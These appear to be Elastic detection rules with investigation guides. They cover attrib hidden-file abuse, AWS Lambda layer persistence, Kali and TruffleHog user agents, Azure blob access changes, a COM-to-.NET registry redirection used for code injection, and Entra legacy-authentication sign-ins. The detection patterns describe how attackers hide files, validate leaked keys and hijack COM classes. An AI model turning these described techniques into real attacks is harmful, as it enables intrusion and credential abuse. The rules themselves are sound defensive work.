Elastic rules: 0z

[metadata]
creation_date = "2020/02/18"
integration = ["endpoint", "windows", "system", "m365_defender", "sentinel_one_cloud_funnel", "crowdstrike"]
maturity = "production"
updated_date = "2026/05/04"

[transform]
[[transform.osquery]]
label = "Osquery - Retrieve DNS Cache"
query = "SELECT * FROM dns_cache"

[[transform.osquery]]
label = "Osquery - Retrieve All Services"
query = "SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"

[[transform.osquery]]
label = "Osquery - Retrieve Services Running on User Accounts"
query = """
SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE
NOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR
user_account == null)
"""

[[transform.osquery]]
label = "Osquery - Retrieve Service Unsigned Executables with Virustotal Link"
query = """
SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,
services.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =
authenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'
"""


[rule]
author = ["Elastic"]
description = "Adversaries can add the 'hidden' attribute to files to hide them from the user in an attempt to evade detection."
from = "now-9m"
index = [
    "endgame-*",
    "logs-crowdstrike.fdr*",
    "logs-endpoint.events.process-*",
    "logs-m365_defender.event-*",
    "logs-sentinel_one_cloud_funnel.*",
    "logs-system.security*",
    "logs-windows.forwarded*",
    "logs-windows.sysmon_operational-*",
    "winlogbeat-*",
]
language = "eql"
license = "Elastic License v2"
name = "Adding Hidden File Attribute via Attrib"
note = """## Triage and analysis

### Investigating Adding Hidden File Attribute via Attrib

The `Hidden` attribute is a file or folder attribute that makes the file or folder invisible to regular directory listings when the attribute is set. 

Attackers can use this attribute to conceal tooling and malware to prevent administrators and users from finding it, even if they are looking specifically for it.

This rule looks for the execution of the `attrib.exe` utility with a command line that indicates the modification of the `Hidden` attribute.

> **Note**:
> This investigation guide uses the [Osquery Markdown Plugin](https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html) introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide.

#### Possible investigation steps

- Identify the user account that performed the action and whether it should perform this kind of action.
- Contact the account owner and confirm whether they are aware of this activity.
- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures.
- Investigate other alerts associated with the user/host during the past 48 hours.
- Examine the command line to identify the target file or folder.
  - Examine the file, which process created it, header, etc.
  - If suspicious, retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc.
- Examine the host for derived artifacts that indicate suspicious activities:
  - Observe and collect information about the following activities in the alert subject host:
    - Attempts to contact external domains and addresses.
      - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`.
      - Examine the DNS cache for suspicious or anomalous entries.
        - $osquery_0
    - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree.
    - Examine the host services for suspicious or anomalous entries.
      - $osquery_1
      - $osquery_2
      - $osquery_3

### False positive analysis

- This activity is unlikely to happen legitimately. Benign true positives (B-TPs) can be added as exceptions if necessary.

### Response and remediation

- Initiate the incident response process based on the outcome of the triage.
- Isolate the involved host to prevent further post-compromise behavior.
- If the triage identified malware, search the environment for additional compromised hosts.
  - Implement temporary network rules, procedures, and segmentation to contain the malware.
  - Stop suspicious processes.
  - Immediately block the identified indicators of compromise (IoCs).
  - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system.
- Remove and block malicious artifacts identified during triage.
- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components.
- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services.
- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector.
- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR).
"""

setup = """## Setup

This rule is designed for data generated by [Elastic Defend](https://www.elastic.co/security/endpoint-security), which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules.

Setup instructions: https://ela.st/install-elastic-defend

### Additional data sources

This rule also supports the following third-party data sources. For setup instructions, refer to the links below:

- [CrowdStrike](https://ela.st/crowdstrike-integration)
- [Microsoft Defender XDR](https://ela.st/m365-defender)
- [SentinelOne Cloud Funnel](https://ela.st/sentinel-one-cloud-funnel)
- [Sysmon Event ID 1 - Process Creation](https://ela.st/sysmon-event-1-setup)
- [Windows Process Creation Logs](https://ela.st/audit-process-creation)
"""

risk_score = 21
rule_id = "4630d948-40d4-4cef-ac69-4002e29bc3db"
severity = "low"
tags = [
    "Domain: Endpoint",
    "OS: Windows",
    "Use Case: Threat Detection",
    "Tactic: Defense Evasion",
    "Tactic: Persistence",
    "Data Source: Elastic Endgame",
    "Resources: Investigation Guide",
    "Data Source: Elastic Defend",
    "Data Source: Windows Security Event Logs",
    "Data Source: Microsoft Defender XDR",
    "Data Source: Sysmon",
    "Data Source: SentinelOne",
    "Data Source: Crowdstrike",
]
timeline_id = "e70679c2-6cde-4510-9764-4823df18f7db"
timeline_title = "Comprehensive Process Timeline"
timestamp_override = "event.ingested"
type = "eql"

query = '''
process where host.os.type == "windows" and event.type == "start" and
  (process.name : "attrib.exe" or ?process.pe.original_file_name == "ATTRIB.EXE") and process.args : "+h" and
  not (process.parent.name: "cmd.exe" and process.command_line: "attrib  +R +H +S +A *.cui") and

  not (
    process.parent.name: "draw.io.exe" and
    (
      process.command_line : ("*drawio.bkp*", "*drawio.dtmp*")
    )
  )
'''


[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1222"
name = "File and Directory Permissions Modification"
reference = "https://attack.mitre.org/techniques/T1222/"
[[rule.threat.technique.subtechnique]]
id = "T1222.001"
name = "Windows File and Directory Permissions Modification"
reference = "https://attack.mitre.org/techniques/T1222/001/"


[[rule.threat.technique]]
id = "T1564"
name = "Hide Artifacts"
reference = "https://attack.mitre.org/techniques/T1564/"
[[rule.threat.technique.subtechnique]]
id = "T1564.001"
name = "Hidden Files and Directories"
reference = "https://attack.mitre.org/techniques/T1564/001/"



[rule.threat.tactic]
id = "TA0005"
name = "Defense Evasion"
reference = "https://attack.mitre.org/tactics/TA0005/"
[[rule.threat]]
framework = "MITRE ATT&CK"

[rule.threat.tactic]
id = "TA0003"
name = "Persistence"
reference = "https://attack.mitre.org/tactics/TA0003/"

[metadata]
creation_date = "2024/04/30"
integration = ["aws"]
maturity = "production"
updated_date = "2026/08/05"

[rule]
author = ["Elastic"]
description = """
Identifies when a Lambda layer is added to an existing AWS Lambda function. Lambda layers allow shared code,
dependencies, or runtime modifications to be injected into a function’s execution environment. Adversaries with the
ability to update function configurations may add a malicious layer to establish persistence, run unauthorized code, or
intercept data handled by the function. This activity should be reviewed to ensure the modification is expected and
authorized.
"""
false_positives = [
    """
    Lambda function owners or deployment pipelines may legitimately add or update layers as part of normal development
    and maintenance workflows. Confirm that the layer addition aligns with approved changes, expected CI/CD behavior, or
    routine dependency updates. Known automation roles or build systems can be excluded if they consistently perform
    authorized modifications.
    """,
]
from = "now-6m"
index = ["filebeat-*", "logs-aws.cloudtrail-*"]
language = "kuery"
license = "Elastic License v2"
name = "AWS Lambda Layer Added to Existing Function"
note = """## Triage and analysis

### Investigating AWS Lambda Layer Added to Existing Function

Lambda layers introduce external code artifacts into a function’s runtime. Adding a layer to an existing Lambda function
modifies its execution environment and may allow an adversary to run arbitrary code, intercept data, or maintain
persistence without altering the function source itself. This detection highlights successful configuration updates using
`PublishLayerVersion*` or `UpdateFunctionConfiguration*`.

### Possible investigation steps

**Identify the actor**
- Review `aws.cloudtrail.user_identity.arn` and the `access_key_id`. Determine whether the actor normally administers Lambda or has recently exhibited unusual behavior.

**Review what was modified**
- Inspect `aws.cloudtrail.request_parameters` to identify which layer ARN was added, the function name and region, whether multiple layers were applied at once or in rapid succession.
- Compare the added layer version against known and approved layer catalogs.

**Validate the operational context**
- Check the time of the update (`@timestamp`) to see if it aligns with known release pipelines or deployment windows and Normal working hours for the responsible team.
- Determine whether a CI/CD pipeline or IaC tool was expected to update this function.

**Assess where the change came from**
- Review `source.ip` and `user_agent.original` for signs of console access from unusual locations, access via previously unused automation tools, suspicious programmatic access consistent with compromised keys.

**Correlate with additional activity**
- Look for preceding or subsequent events such as:
  - Creation of new Lambda layers (`PublishLayerVersion`).
  - IAM role modifications affecting the Lambda function.
  - Increased invocation volume or unusual invocation patterns after the layer addition.
- Search for other functions modified by the same actor or from the same IP.

### False positive analysis

- Confirm whether the change aligns with a planned deployment, application update, or dependency upgrade.
- Determine whether the user or automation role commonly modifies Lambda function configurations.
- Validate the legitimacy of the added layer by checking internal documentation or release notes.

### Response and remediation

- Remove or roll back the added layer if the modification appears unauthorized or suspicious.
- Review the layer contents, especially for newly published layers, to verify integrity and legitimacy.
- Investigate the IAM role or user responsible for the change and rotate compromised credentials if necessary.
- Tighten permissions by ensuring only approved roles can modify Lambda configurations or publish new layers.
- Implement monitoring for subsequent Lambda configuration changes, invocation anomalies caused by the injected layer, additional persistence techniques targeting serverless infrastructure.

### Additional information
- **[AWS IR Playbooks](https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/)** 
- **[AWS Customer Playbook Framework](https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs)** 
- **[AWS Knowledge Center – Security Best Practices](https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/)**
"""
references = [
    "https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence",
    "https://docs.aws.amazon.com/lambda/latest/api/API_PublishLayerVersion.html",
    "https://docs.aws.amazon.com/lambda/latest/api/API_UpdateFunctionConfiguration.html",
]
risk_score = 21
rule_id = "7d091a76-0737-11ef-8469-f661ea17fbcc"
severity = "low"
tags = [
    "Domain: Cloud",
    "Platform: AWS",
    "Data Source: AWS CloudTrail",
    "Service: AWS Lambda",
    "Tactic: Execution",
    "Rule Type: Custom Query (KQL)",
    "Resources: Investigation Guide",
]
timestamp_override = "event.ingested"
type = "query"

query = '''
data_stream.dataset: aws.cloudtrail
    and event.provider: lambda.amazonaws.com
    and event.outcome: success
    and event.action: (PublishLayerVersion* or UpdateFunctionConfiguration*)
    and not user_agent.original: (*Terraform* or *Pulumi*)
'''


[[rule.threat]]
framework = "MITRE ATT&CK"

[[rule.threat.technique]]
id = "T1648"
name = "Serverless Execution"
reference = "https://attack.mitre.org/techniques/T1648/"

[rule.threat.tactic]
id = "TA0002"
name = "Execution"
reference = "https://attack.mitre.org/tactics/TA0002/"

[[rule.threat]]
framework = "MITRE ATT&CK"

[[rule.threat.technique]]
id = "T1578"
name = "Modify Cloud Compute Infrastructure"
reference = "https://attack.mitre.org/techniques/T1578/"

[[rule.threat.technique.subtechnique]]
id = "T1578.005"
name = "Modify Cloud Compute Configurations"
reference = "https://attack.mitre.org/techniques/T1578/005/"

[rule.threat.tactic]
id = "TA0005"
name = "Defense Evasion"
reference = "https://attack.mitre.org/tactics/TA0005/"
[rule.investigation_fields]
field_names = [
    "@timestamp",
    "user.name",
    "user_agent.original",
    "source.ip",
    "aws.cloudtrail.user_identity.arn",
    "aws.cloudtrail.user_identity.type",
    "aws.cloudtrail.user_identity.access_key_id",
    "event.action",
    "event.outcome",
    "cloud.account.id",
    "cloud.region",
    "aws.cloudtrail.request_parameters",
    "aws.cloudtrail.response_elements",
]

[metadata]
creation_date = "2025/04/11"
integration = ["aws"]
maturity = "production"
updated_date = "2026/08/05"

[rule]
author = ["Elastic"]
description = """
Identifies successful AWS API calls where the CloudTrail user agent indicates offensive tooling or automated credential
verification. This includes the AWS CLI or Boto3 reporting a Kali Linux distribution fingerprint (`distrib#kali`), and
clients that identify as TruffleHog, which is commonly used to validate leaked secrets against live AWS APIs. These
patterns are uncommon for routine production workloads and may indicate compromised credentials, unauthorized access, or
security tooling operating outside approved scope.
"""
false_positives = [
    """
    Authorized penetration tests, red team exercises, or research activity may originate from Kali Linux. Internal
    secret scanning pipelines may run TruffleHog with permission to reach AWS for verification. Validate the IAM
    principal, source network, change records, and whether the activity matches documented security or DevSecOps
    workflows.
    """,
]
from = "now-6m"
index = ["logs-aws.cloudtrail-*"]
language = "eql"
license = "Elastic License v2"
name = "AWS Suspicious User Agent Fingerprint"
note = """## Triage and Analysis

### Investigating AWS Suspicious User Agent Fingerprint

AWS CloudTrail records the user agent string for API requests, which can reveal the OS distribution and client tooling.
Two high-signal patterns this rule covers are:

- **Kali Linux fingerprint** — When the AWS CLI or Boto3 reports `distrib#kali`, the request likely came from a Kali
  environment. Kali is widely used for penetration testing and adversarial tradecraft, so this is worth correlating with
  identity, network context, and sensitivity of API actions.
- **TruffleHog** — TruffleHog identifies itself in the user agent when verifying whether recovered credentials are still
  valid. Observing it against your account may indicate leaked keys are being tested, including through supply-chain or
  secret-scanning abuse by a third party.

This detection focuses on **successful** API activity. Evaluate who performed the action, what was accessed or modified,
and whether the source and tooling align with expectations.

### Possible investigation steps

**Identify the actor**
- Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` to determine which IAM
  principal was used.
- Check whether this principal normally uses CLI/SDK clients and whether Kali or TruffleHog is ever expected for their role.

**Review access patterns and actions**
- Examine API calls associated with the matched user agent for high-risk activity such as IAM changes, data access,
  snapshot sharing, logging modification, or persistence-related actions.
- Look for sequences indicating initial access or expansion, such as `GetSessionToken`, `AssumeRole`, or privilege
  escalation attempts.
- Determine whether the activity scope aligns with the principal’s intended permissions and business function.

**Inspect source network and tooling context**
- Review `source.ip`, `source.geo` fields, and ASN to determine whether the request originated from an expected corporate
  network, VPN, CI/CD egress, or known security testing infrastructure.
- Analyze `user_agent.original` to confirm which pattern matched (`distrib#kali` vs `TruffleHog`) and whether usage looks
  interactive, scripted, or scanner-driven.
- Sudden shifts from console-based access to CLI from an offensive distribution, or first-time TruffleHog against the
  account, may indicate credential compromise or unauthorized scanning.

**Correlate with surrounding activity**
- Search for additional CloudTrail events tied to the same access key or session before and after this detection.
- Look for evidence of follow-on actions such as resource creation, configuration changes, or attempts to disable logging
  and monitoring services.
- Assess whether the activity represents a single isolated request or part of a broader behavioral chain.

### False positive analysis

- Internal red team or authorized assessments may produce Kali-based AWS CLI or SDK traffic. Confirm scope, timing, and
  authorization.
- Organizational use of TruffleHog in CI to validate rotated keys or scan artifacts may generate this signal; restrict
  exceptions to known roles, repositories, and egress IPs where possible.

### Response and remediation

- If the activity is unauthorized, immediately revoke or rotate the affected access keys or invalidate the active
  session.
- Review IAM permissions associated with the identity and reduce scope where possible to enforce least privilege.
- Investigate for additional indicators of compromise, including unusual role assumptions, new credential creation, or
  data access from the same identity.
- Notify security operations and incident response teams if the activity aligns with known adversary behaviors or appears
  part of a larger intrusion.
- Consider adding guardrails or conditional access controls (such as source IP restrictions or MFA enforcement) for
  sensitive IAM principals.

### Additional information
- **[AWS IR Playbooks](https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/)**
- **[AWS Customer Playbook Framework](https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs)**
- **[AWS Knowledge Center – Security Best Practices](https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/)**
"""
references = [
    "https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-event-reference-user-identity.html",
    "https://www.sygnia.co/blog/sygnia-investigation-bybit-hack/",
    "https://trufflesecurity.com/blog/trufflehog-in-your-logs",
    "https://kudelskisecurity.com/research/investigating-two-variants-of-the-trivy-supply-chain-compromise",
]
risk_score = 73
rule_id = "f80ea920-f6f5-4c8a-9761-84ac97ec0cb2"
severity = "high"
tags = [
    "Domain: Cloud",
    "Platform: AWS",
    "Data Source: AWS CloudTrail",
    "Tactic: Initial Access",
    "Rule Type: Event Correlation (EQL)",
    "Resources: Investigation Guide",
]
timestamp_override = "event.ingested"
type = "eql"

query = '''
any where data_stream.dataset == "aws.cloudtrail"
  and event.outcome == "success"
  and (
    (
      stringContains(user_agent.original, "distrib#kali")
      or stringContains(user_agent.original, "+kali")
      or stringContains(user_agent.original, "kali-amd64")
      or stringContains(user_agent.original, "kali-arm64")
    ) or (
      stringContains(user_agent.original, "TruffleHog")
      or stringContains(user_agent.original, "trufflehog")
    )
  )
'''


[[rule.threat]]
framework = "MITRE ATT&CK"

[[rule.threat.technique]]
id = "T1078"
name = "Valid Accounts"
reference = "https://attack.mitre.org/techniques/T1078/"

[[rule.threat.technique.subtechnique]]
id = "T1078.004"
name = "Cloud Accounts"
reference = "https://attack.mitre.org/techniques/T1078/004/"

[rule.threat.tactic]
id = "TA0001"
name = "Initial Access"
reference = "https://attack.mitre.org/tactics/TA0001/"

[[rule.threat]]
framework = "MITRE ATT&CK"

[[rule.threat.technique]]
id = "T1078"
name = "Valid Accounts"
reference = "https://attack.mitre.org/techniques/T1078/"

[[rule.threat.technique.subtechnique]]
id = "T1078.004"
name = "Cloud Accounts"
reference = "https://attack.mitre.org/techniques/T1078/004/"

[rule.threat.tactic]
id = "TA0005"
name = "Defense Evasion"
reference = "https://attack.mitre.org/tactics/TA0005/"
[rule.investigation_fields]
field_names = [
    "@timestamp",
    "user.name",
    "user_agent.original",
    "source.ip",
    "aws.cloudtrail.user_identity.arn",
    "aws.cloudtrail.user_identity.type",
    "aws.cloudtrail.user_identity.access_key_id",
    "aws.cloudtrail.resources.arn",
    "aws.cloudtrail.resources.type",
    "event.action",
    "event.outcome",
    "cloud.account.id",
    "cloud.region",
    "aws.cloudtrail.request_parameters",
    "aws.cloudtrail.response_elements"
]

[metadata]
creation_date = "2020/08/20"
integration = ["azure"]
maturity = "production"
updated_date = "2026/04/10"

[rule]
author = ["Elastic"]
description = """
Identifies changes to container access levels in Azure. Anonymous public read access to containers and blobs in Azure is
a way to share data broadly, but can present a security risk if access to sensitive data is not managed judiciously.
"""
false_positives = [
    """
    Access level modifications may be done by a system or network administrator. Verify whether the username, hostname,
    and/or resource name should be making changes in your environment. Access level modifications from unfamiliar users
    or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule.
    """,
]
from = "now-9m"
index = ["logs-azure.activitylogs-*", "filebeat-*"]
language = "kuery"
license = "Elastic License v2"
name = "Azure Blob Storage Container Access Level Modified"
note = """## Triage and analysis

> **Disclaimer**:
> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.

### Investigating Azure Blob Storage Container Access Level Modified

Azure Blob Storage is a service for storing large amounts of unstructured data, where access levels can be configured to control data visibility. Adversaries may exploit misconfigured access levels to gain unauthorized access to sensitive data. The detection rule monitors changes in container access settings, focusing on successful modifications, to identify potential security risks associated with unauthorized access level changes.

### Possible investigation steps

- Review the Azure activity logs to identify the specific storage account and container where the access level modification occurred, using the operation name "MICROSOFT.STORAGE/STORAGEACCOUNTS/BLOBSERVICES/CONTAINERS/WRITE".
- Verify the identity of the user or service principal that performed the modification by examining the associated user information in the activity logs.
- Check the timestamp of the modification to determine if it aligns with any known maintenance windows or authorized changes.
- Investigate the previous access level settings of the container to assess the potential impact of the change, especially if it involved enabling anonymous public read access.
- Correlate the event with any other recent suspicious activities or alerts in the Azure environment to identify potential patterns or coordinated actions.
- Contact the owner of the storage account or relevant stakeholders to confirm whether the change was authorized and aligns with organizational policies.

### False positive analysis

- Routine administrative changes to container access levels by authorized personnel can trigger alerts. To manage this, create exceptions for specific user accounts or roles that regularly perform these tasks.
- Automated scripts or tools used for managing storage configurations may cause false positives. Identify and exclude these scripts or tools from monitoring if they are verified as non-threatening.
- Scheduled updates or maintenance activities that involve access level modifications can be mistaken for unauthorized changes. Document and schedule these activities to align with monitoring rules, allowing for temporary exclusions during these periods.
- Changes made by trusted third-party services integrated with Azure Blob Storage might be flagged. Verify these services and exclude their operations from triggering alerts if they are deemed secure and necessary for business operations.

### Response and remediation

- Immediately revoke public read access to the affected Azure Blob container to prevent unauthorized data exposure.
- Review the access logs to identify any unauthorized access or data exfiltration attempts during the period when the access level was modified.
- Notify the security team and relevant stakeholders about the incident, providing details of the unauthorized access level change and any potential data exposure.
- Conduct a thorough audit of all Azure Blob containers to ensure that access levels are configured according to the organization's security policies and that no other containers are misconfigured.
- Implement additional monitoring and alerting for changes to access levels on Azure Blob containers to ensure rapid detection of any future unauthorized modifications.
- If sensitive data was exposed, initiate a data breach response plan, including notifying affected parties and regulatory bodies as required by law.
- Review and update access management policies and procedures to prevent recurrence, ensuring that only authorized personnel can modify container access levels.

## Setup

The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule."""
references = ["https://docs.microsoft.com/en-us/azure/storage/blobs/anonymous-read-access-prevent"]
risk_score = 21
rule_id = "2636aa6c-88b5-4337-9c31-8d0192a8ef45"
severity = "low"
tags = ["Domain: Cloud", "Data Source: Azure", "Use Case: Asset Visibility", "Tactic: Discovery", "Resources: Investigation Guide"]
timestamp_override = "event.ingested"
type = "query"

query = '''
data_stream.dataset:azure.activitylogs and azure.activitylogs.operation_name:"MICROSOFT.STORAGE/STORAGEACCOUNTS/BLOBSERVICES/CONTAINERS/WRITE" and event.outcome:(Success or success)
'''


[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1619"
name = "Cloud Storage Object Discovery"
reference = "https://attack.mitre.org/techniques/T1619/"


[rule.threat.tactic]
id = "TA0007"
name = "Discovery"
reference = "https://attack.mitre.org/tactics/TA0007/"
[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1222"
name = "File and Directory Permissions Modification"
reference = "https://attack.mitre.org/techniques/T1222/"


[rule.threat.tactic]
id = "TA0005"
name = "Defense Evasion"
reference = "https://attack.mitre.org/tactics/TA0005/"
[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1537"
name = "Transfer Data to Cloud Account"
reference = "https://attack.mitre.org/techniques/T1537/"


[rule.threat.tactic]
id = "TA0010"
name = "Exfiltration"
reference = "https://attack.mitre.org/tactics/TA0010/"

[rule]
description = """
Identifies a registry modification that tricks the system into treating a legacy COM class as a .NET System.Object,
effectively bridging the native and managed worlds as a preparation for .NET code injection.
"""
id = "bc5df38d-b529-40c8-8f4e-6092b0efe384"
license = "Elastic License v2"
name = "COM to .NET Redirection via Registry"
os_list = ["windows"]
reference = [
    "https://mohamed-fakroud.gitbook.io/red-teamings-dojo/abusing-idispatch-for-trapped-com-object-access-and-injecting-into-ppl-processes",
    "https://github.com/T3nb3w/ComDotNetExploit",
]
version = "1.0.3"

query = '''
registry where event.type == "change" and
 registry.path : "HKLM\\SOFTWARE\\Classes\\CLSID\\{*}\\TreatAs\\" and registry.data.strings : "{81C5FE01-027C-3E1C-98D5-DA9C9862AA21}"
'''

min_endpoint_version = "7.15.0"
optional_actions = []
[[actions]]
action = "kill_process"
field = "process.entity_id"
state = 0

[[threat]]
framework = "MITRE ATT&CK"
[[threat.technique]]
id = "T1546"
name = "Event Triggered Execution"
reference = "https://attack.mitre.org/techniques/T1546/"
[[threat.technique.subtechnique]]
id = "T1546.015"
name = "Component Object Model Hijacking"
reference = "https://attack.mitre.org/techniques/T1546/015/"



[threat.tactic]
id = "TA0003"
name = "Persistence"
reference = "https://attack.mitre.org/tactics/TA0003/"
[[threat]]
framework = "MITRE ATT&CK"
[[threat.technique]]
id = "T1112"
name = "Modify Registry"
reference = "https://attack.mitre.org/techniques/T1112/"


[threat.tactic]
id = "TA0005"
name = "Defense Evasion"
reference = "https://attack.mitre.org/tactics/TA0005/"

[internal]
min_endpoint_version = "7.15.0"

[metadata]
creation_date = "2026/07/02"
integration = ["azure"]
maturity = "production"
updated_date = "2026/07/02"

[rule]
author = ["Elastic"]
description = """
Detects a successful sign-in by a Member user principal through a legacy authentication client (such as Authenticated
SMTP, IMAP4, POP3, Exchange ActiveSync, Exchange Web Services, or other basic-authentication clients) in Microsoft Entra
ID, where the user principal has not been seen using a legacy client in the last 7 days. Legacy authentication clients
rely on basic authentication, do not support modern authentication or interactive multi-factor authentication, and are
frequently abused by adversaries for password spraying and account takeover because they translate into single-factor
Resource Owner Password Credentials (ROPC) grants. This is a New Terms rule that surfaces the first occurrence of legacy
client authentication for a given user, which is unusual in most modern environments.
"""
from = "now-9m"
index = ["logs-azure.signinlogs-*"]
language = "kuery"
license = "Elastic License v2"
name = "Entra ID User Sign-In via Unusual Legacy Authentication Client"
note = """## Triage and analysis

### Investigating Entra ID User Sign-In via Unusual Legacy Authentication Client

Legacy authentication clients use basic authentication and do not support modern authentication or interactive multi-factor authentication. Microsoft Entra ID classifies these clients under `client_app_used` values such as Authenticated SMTP, IMAP4, POP3, Exchange ActiveSync, Exchange Web Services, MAPI Over HTTP, Outlook Anywhere, and Other clients (as opposed to the modern values Browser and Mobile Apps and Desktop clients). Adversaries prefer these clients because they translate into single-factor ROPC grants that bypass interactive MFA, making them effective for password spraying and account takeover.

This rule is a New Terms detection that fires when a Member user principal is first seen authenticating with a legacy client in the last 7 days. In environments that have largely moved to modern authentication, a new legacy-client sign-in for a user is unusual and warrants review. It is a broader companion to the targeted ROPC detections and catches legacy protocols beyond Authenticated SMTP.

### Possible investigation steps
- Review `azure.signinlogs.properties.client_app_used` to identify which legacy protocol was used and whether the user is expected to use it.
- Review `azure.signinlogs.properties.user_principal_name` to determine whether the account is a human user, a service account, or a shared mailbox, and whether legacy authentication is part of its normal behavior.
- Review `azure.signinlogs.properties.client_ip` / `source.ip`, geolocation, and ASN to determine whether the source is expected. Correlate with known-malicious infrastructure.
- Inspect `user_agent.original`. Values such as `BAV2ROPC`, `python-requests`, `curl`, or other scripting-tool agents are highly suspicious.
- Check `azure.signinlogs.properties.applied_conditional_access_policies` to determine whether legacy-authentication blocking was expected to apply and why it did not.
- Look for a preceding burst of failed authentications (password spraying) from the same source or against the same account, and for post-authentication actions such as mailbox rule creation, mail forwarding, or OAuth consent.

### False positive analysis
- Legitimate legacy applications, service accounts, multifunction printers, scan-to-email appliances, and monitoring tools may still use legacy authentication clients such as Authenticated SMTP. These are typically stable in source IP and account and can be excluded once verified.
- Migrations, onboarding of older mail clients, or line-of-business applications that have not yet moved to modern authentication can generate first-occurrence sign-ins. Validate the business context and exclude confirmed benign accounts.

### Response and remediation
- If the sign-in is confirmed malicious, disable the account, revoke active sessions and refresh tokens, and reset the password.
- Disable the specific legacy protocol for the affected mailbox (for example `Set-CASMailbox -SmtpClientAuthenticationDisabled $true`) and, where feasible, block legacy authentication tenant-wide with Conditional Access.
- Enforce MFA for the affected user and investigate the source IP and any preceding failed-authentication activity to scope a potential password-spray campaign.
- Review the account's activity after the sign-in (mailbox rules, forwarding, delegate changes, OAuth grants) and remediate any unauthorized changes.
"""
references = [
    "https://learn.microsoft.com/en-us/entra/identity/conditional-access/policy-block-legacy-authentication",
    "https://learn.microsoft.com/en-us/entra/identity-platform/v2-oauth-ropc",
    "https://www.proofpoint.com/us/blog/threat-insight/attackers-unleash-teamfiltration-account-takeover-campaign",
    "https://redcanary.com/blog/threat-detection/bav2ropc/",
]
risk_score = 47
rule_id = "0b7dbb27-29f8-4219-bcf1-7b82c6dd0bdc"
severity = "medium"
tags = [
    "Domain: Cloud",
    "Domain: Identity",
    "Data Source: Azure",
    "Data Source: Microsoft Entra ID",
    "Data Source: Microsoft Entra ID Sign-In Logs",
    "Use Case: Identity and Access Audit",
    "Tactic: Initial Access",
    "Tactic: Defense Evasion",
    "Resources: Investigation Guide",
]
timestamp_override = "event.ingested"
type = "new_terms"

query = '''
data_stream.dataset: "azure.signinlogs" and
    event.action: "Sign-in activity" and
    event.outcome: "success" and
    azure.signinlogs.properties.user_type: "Member" and
    azure.signinlogs.properties.client_app_used: (
        "Authenticated SMTP" or
        "Autodiscover" or
        "Exchange ActiveSync" or
        "Exchange Online PowerShell" or
        "Exchange Web Services" or
        "IMAP4" or
        "MAPI Over HTTP" or
        "Offline Address Book" or
        "Outlook Anywhere" or
        "Outlook Service" or
        "POP3" or
        "Reporting Web Services" or
        "Other clients"
    )
'''


[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1078"
name = "Valid Accounts"
reference = "https://attack.mitre.org/techniques/T1078/"
[[rule.threat.technique.subtechnique]]
id = "T1078.004"
name = "Cloud Accounts"
reference = "https://attack.mitre.org/techniques/T1078/004/"



[rule.threat.tactic]
id = "TA0001"
name = "Initial Access"
reference = "https://attack.mitre.org/tactics/TA0001/"
[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1078"
name = "Valid Accounts"
reference = "https://attack.mitre.org/techniques/T1078/"
[[rule.threat.technique.subtechnique]]
id = "T1078.004"
name = "Cloud Accounts"
reference = "https://attack.mitre.org/techniques/T1078/004/"



[rule.threat.tactic]
id = "TA0005"
name = "Defense Evasion"
reference = "https://attack.mitre.org/tactics/TA0005/"

[rule.new_terms]
field = "new_terms_fields"
value = ["azure.signinlogs.properties.user_principal_name"]
[[rule.new_terms.history_window_start]]
field = "history_window_start"
value = "now-7d"

[metadata]
creation_date = "2026/01/21"
integration = ["cloud_defend"]
maturity = "production"
min_stack_comments = "Defend for Containers integration was re-introduced in 9.3.0"
min_stack_version = "9.3.0"
updated_date = "2026/07/29"

[rule]
